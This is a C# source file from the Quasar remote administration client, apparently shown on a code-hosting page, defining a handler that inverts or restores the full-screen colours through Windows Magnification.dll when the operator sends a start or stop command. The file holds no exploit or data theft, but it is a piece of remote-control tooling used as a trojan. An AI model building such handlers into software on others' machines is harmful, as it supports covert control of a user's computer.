62 lines
2.0 KiB
C#
62 lines
2.0 KiB
C#
using Quasar.Common.Messages;
|
|
using Quasar.Common.Networking;
|
|
using System.Runtime.InteropServices;
|
|
|
|
namespace Quasar.Client.Messages
|
|
{
|
|
public class ColorInvertHandler : IMessageProcessor
|
|
{
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
private struct MAGCOLOREFFECT
|
|
{
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 25)]
|
|
public float[] transform;
|
|
}
|
|
|
|
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
|
private static extern bool MagInitialize();
|
|
|
|
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
|
private static extern bool MagUninitialize();
|
|
|
|
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
|
private static extern bool MagSetFullscreenColorEffect(ref MAGCOLOREFFECT pEffect);
|
|
|
|
private static readonly float[] _invertMatrix = {
|
|
-1, 0, 0, 0, 0,
|
|
0, -1, 0, 0, 0,
|
|
0, 0, -1, 0, 0,
|
|
0, 0, 0, 1, 0,
|
|
1, 1, 1, 0, 1
|
|
};
|
|
|
|
private static readonly float[] _identityMatrix = {
|
|
1, 0, 0, 0, 0,
|
|
0, 1, 0, 0, 0,
|
|
0, 0, 1, 0, 0,
|
|
0, 0, 0, 1, 0,
|
|
0, 0, 0, 0, 1
|
|
};
|
|
|
|
public bool CanExecute(IMessage message) =>
|
|
message is DoStartColorInvert || message is DoStopColorInvert;
|
|
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
|
{
|
|
if (message is DoStartColorInvert)
|
|
ApplyEffect(_invertMatrix);
|
|
else if (message is DoStopColorInvert)
|
|
ApplyEffect(_identityMatrix);
|
|
}
|
|
|
|
private static void ApplyEffect(float[] matrix)
|
|
{
|
|
MagInitialize();
|
|
var effect = new MAGCOLOREFFECT { transform = matrix };
|
|
MagSetFullscreenColorEffect(ref effect);
|
|
}
|
|
}
|
|
}
|